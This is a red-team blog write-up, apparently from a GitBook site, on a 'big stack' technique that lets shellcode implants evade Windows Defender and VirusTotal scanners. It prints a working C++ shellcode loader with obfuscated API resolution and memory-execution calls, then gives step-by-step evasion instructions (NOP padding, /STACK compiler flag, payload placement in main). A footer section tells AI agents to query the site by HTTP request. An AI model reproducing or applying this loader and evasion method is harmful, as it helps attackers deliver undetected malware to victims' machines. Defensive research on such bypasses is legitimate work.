# Deceiving Defender: The Big Stack Bypass

### Part One: Introduction

I stumbled upon this trick during my demonstration of the byoDLL technique documented in Unholy Unhooking. Basically, the bypass goes like this:

* The default supported stack size for a program is 1 MB (1024 KB)
* Variables initiated in main() are stored on the stack at run time
* If you generate a payload > 1024KB and hard code it in main your payload will fail
* If you compile with /STACK:\*BIG\_NUMBER\* you'll win

### Part Two: Testing it out

We start out with the following code:

```cpp
#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <random>

typedef LPVOID (WINAPI * VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI * CreateThread_t)(LPSECURITY_ATTRIBUTES   lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE  lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags,LPDWORD lpThreadId);

unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sVirtualAlloc[] = {'V','i','r','t','u','a','l','A','l','l','o','c',0x0};
unsigned char sCreateThread[] = {'C','r','e','a','t','e','T','h','r','e','a','d',0x0,};

//msfvenom calc payload
unsigned char payload[] = { […snip…]};

int main(VOID) {
	size_t payload_len = sizeof(payload);
	
	void * exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
		
		
	//function pointers
	VirtualAlloc_t VirtualAlloc_p = (VirtualAlloc_t) GetProcAddress(GetModuleHandle((LPCSTR) "KErnEl32.DLl"), (LPCSTR) sVirtualAlloc);
	VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) "kErnEl32.DLl"), (LPCSTR) sVirtualProtect);
	CreateThread_t CreateThread_p = (CreateThread_t) GetProcAddress(GetModuleHandle((LPCSTR) "kERnEl32.DLl"), (LPCSTR) sCreateThread);
		
		
	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc_p(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Copy payload to program memory ; this gets inlined
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// Make payload executable
	rv = VirtualProtect_p(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("\nLaunch Payload?\n");
	getchar();

	// Run payload
	if ( rv != 0 ) {
		th = CreateThread_p(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
		WaitForSingleObject(th, INFINITE);
				
	}
			
	return 0;
}c++
```

&#x20;

If we compile this and move the executable to our test directory, we can expect to get detected.

ThreatCheck helps us out with that so we don't waste too much time validating what we already know.

<figure><img src="/files/M8vpANumgnNI7BTIz3NG" alt=""><figcaption></figcaption></figure>

### Part Three: the cool part

BUT! If we move the payload inside of main, and front load it with NOPs (> 1024KB worth, you can generate this using any method of your choice, I prefer python), and compile with the, something interesting will happen.

Your code should like something like this now.

<figure><img src="/files/d0Pr0iicRRGPUlEfej4M" alt=""><figcaption></figcaption></figure>

Everything should compile, but your program will fail to run!

<figure><img src="/files/mTR1pknqzWJO9BWMgezj" alt=""><figcaption></figcaption></figure>

If we look at the program with x64Dbg, we can see that we end up overflowing our own stack during execution!

<figure><img src="/files/tv64bA9mNRe5iZPVK1ow" alt=""><figcaption></figcaption></figure>

Lets compile with the /STACK:2000000000 set, which should give us plenty of space to put everything we need on the stack at run time.

<figure><img src="/files/5F13jZzlGqtXaSVSelos" alt=""><figcaption></figcaption></figure>

It works!

<figure><img src="/files/SYSfQ6P5c6ZjuI0yoG4z" alt=""><figcaption></figcaption></figure>

ThreatCheck still finds our payload though…?

<figure><img src="/files/wiPok4yDY4JOaq9OIGnR" alt=""><figcaption></figcaption></figure>

Lets make it a 2KB payload, and 3KB stack. The implant comes in at over 16MB, but if we drag and drop the implant into our test folder…

<figure><img src="/files/QiEOIya6r3GHQ3KB42CZ" alt=""><figcaption></figcaption></figure>

### Part Four: ???

\[Intentionally left blank]

### Part Five: Profit

We survive!

<figure><img src="/files/aEgnHLJwjN2O1WqRl44T" alt=""><figcaption></figcaption></figure>

We double check our survivability with ThreatCheck.

<figure><img src="/files/IJiheL495jMHfWpqcrnw" alt=""><figcaption></figcaption></figure>

And we can run it from our test folder without being detected by Windows Defender!

<figure><img src="/files/fqk6uEki6UyzRREY5DOm" alt=""><figcaption></figcaption></figure>

But if we move the payload outside of main and into the data section of our program, it will once again be detected by Defender.

<figure><img src="/files/Y0BVqSUmMa4BrzpF1UJK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/B8udaqZTJGKindK5A9RK" alt=""><figcaption></figcaption></figure>

It's also not a matter of file size, we can append some trash data to our detectable implant and it will still be detected.

<figure><img src="/files/HyrbSNsPALJPcKkAib5a" alt=""><figcaption></figcaption></figure>

### Part Six: Conclusion

In this writeup, we demonstrated Windows Defender's inability to detect programs with large stacks, allowing determined attackers to craft undetectable malware so long as the payload is initialized in the .text section of the program.

The downside to this approach is that your executable file is huge by payload delivery standards. Deploying this technique in a development environment can get a little tedious as well. You can expect a lot of application crashes and the compile time for this approach is significantly longer than other methods. Nonetheless, this provides another potential avenue of attack for malicious actors and defenders should be aware of it.

### Part Seven: Encore

Totally by chance I had the thought to upload this to VirusTotal as well, and look what we found.

<figure><img src="/files/9R5W8SCyZFJ78CkKuVec" alt=""><figcaption><p><a href="https://www.virustotal.com/gui/file/9347d40283061080ad594f2716f6401f67df80b4758382e932f544ad664fe55f/detection">https://www.virustotal.com/gui/file/9347d40283061080ad594f2716f6401f67df80b4758382e932f544ad664fe55f/detection</a></p></figcaption></figure>

If you only use the implant code without the bypass, you can expect something like this:

<figure><img src="/files/UG4o4TtIHymmaYazYdvD" alt=""><figcaption><p><a href="https://www.virustotal.com/gui/file/867dbae0a81431ac700d5fccc97464af9dce052f330cfaf723e816452f2aa224?nocache=1">https://www.virustotal.com/gui/file/867dbae0a81431ac700d5fccc97464af9dce052f330cfaf723e816452f2aa224?nocache=1</a></p></figcaption></figure>

Apparently large stack usage breaks a lot of automated analysis. Who knew. This artical probably also belongs in my [ZeroTotal](/0xtriboulet/archive/notice/zerototal.md) series lol

### References:

{% embed url="<https://courses.engr.illinois.edu/cs225/fa2022/resources/stack-heap/>" %}

{% embed url="<https://learn.microsoft.com/en-us/cpp/build/reference/stack-stack-allocations?view=msvc-170>" %}

{% embed url="<https://github.com/0xTriboulet/Red_Team_Code_Snippets/tree/main/Cpp/deceiving_defender/BigStackBypass>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://steve-s.gitbook.io/0xtriboulet/archive/notice/deceiving-defender/deceiving-defender-the-big-stack-bypass.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
